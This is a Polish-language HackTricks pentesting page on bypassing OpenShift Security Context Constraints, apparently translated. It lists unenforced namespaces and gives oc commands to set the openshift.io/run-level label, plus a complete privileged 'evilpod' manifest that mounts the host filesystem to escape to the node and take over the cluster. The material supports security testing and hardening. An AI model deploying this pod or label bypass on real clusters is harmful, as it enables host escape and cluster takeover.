HackTricks TrainingTwitterLinkedinSponsor

OpenShift - SCC bypass

Oryginalnym autorem tej strony jest Guillaume

Przestrzenie nazw uprzywilejowane

Domyślnie SCC nie jest stosowane w następujących projektach:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

Jeśli wdrożysz moduły w jednej z tych przestrzeni nazw, żadne SCC nie będzie egzekwowane, co pozwala na wdrożenie uprzywilejowanych modułów lub montowanie systemu plików hosta.

Etykieta przestrzeni nazw

Istnieje sposób na wyłączenie stosowania SCC w twoim module zgodnie z dokumentacją RedHat. Będziesz musiał mieć co najmniej jedno z następujących uprawnień:

  • Utwórz przestrzeń nazw i utwórz moduł w tej przestrzeni nazw

  • Edytuj przestrzeń nazw i utwórz moduł w tej przestrzeni nazw

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Specyficzna etykieta openshift.io/run-level umożliwia użytkownikom obejście SCC dla aplikacji. Zgodnie z dokumentacją RedHat, gdy ta etykieta jest wykorzystywana, żadne SCC nie są egzekwowane na wszystkich podach w tej przestrzeni nazw, efektywnie usuwając wszelkie ograniczenia.

Dodaj Etykietę

Aby dodać etykietę w swojej przestrzeni nazw:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Aby utworzyć przestrzeń nazw z etykietą za pomocą pliku YAML:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Teraz wszystkie nowe pody utworzone w przestrzeni nazw nie powinny mieć żadnego SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

W przypadku braku SCC nie ma żadnych ograniczeń dotyczących definicji twojego pada. Oznacza to, że złośliwy pod może łatwo zostać utworzony, aby uciec na system hosta.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Teraz stało się łatwiejsze eskalowanie uprawnień w celu uzyskania dostępu do systemu hosta, a następnie przejęcie całego klastra, uzyskując uprawnienia „cluster-admin”. Szukaj części Node-Post Exploitation na następnej stronie:

Attacking Kubernetes from inside a Pod

Niestandardowe etykiety

Co więcej, w zależności od konfiguracji docelowej, niektóre niestandardowe etykiety / adnotacje mogą być używane w ten sam sposób jak w poprzednim scenariuszu ataku. Nawet jeśli nie są do tego przeznaczone, etykiety mogą być używane do nadawania uprawnień, ograniczania lub nie ograniczania dostępu do określonych zasobów.

Spróbuj znaleźć niestandardowe etykiety, jeśli możesz odczytać niektóre zasoby. Oto lista interesujących zasobów:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Wymień wszystkie uprzywilejowane przestrzenie nazw

$ oc get project -o yaml | grep 'run-level' -b5

Zaawansowany exploit

W OpenShift, jak już pokazano wcześniej, posiadanie uprawnień do wdrażania poda w przestrzeni nazw z etykietą openshift.io/run-level może prowadzić do prostego przejęcia klastra. Z perspektywy ustawień klastra, ta funkcjonalność nie może zostać wyłączona, ponieważ jest ona nieodłączna od projektu OpenShift.

Jednakże środki łagodzące, takie jak Open Policy Agent GateKeeper, mogą zapobiec użytkownikom w ustawianiu tej etykiety.

Aby ominąć reguły GateKeeper'a i ustawić tę etykietę w celu wykonania przejęcia klastra, atakujący musieliby zidentyfikować alternatywne metody.

Referencje

PreviousOpenShift - Tekton

Last updated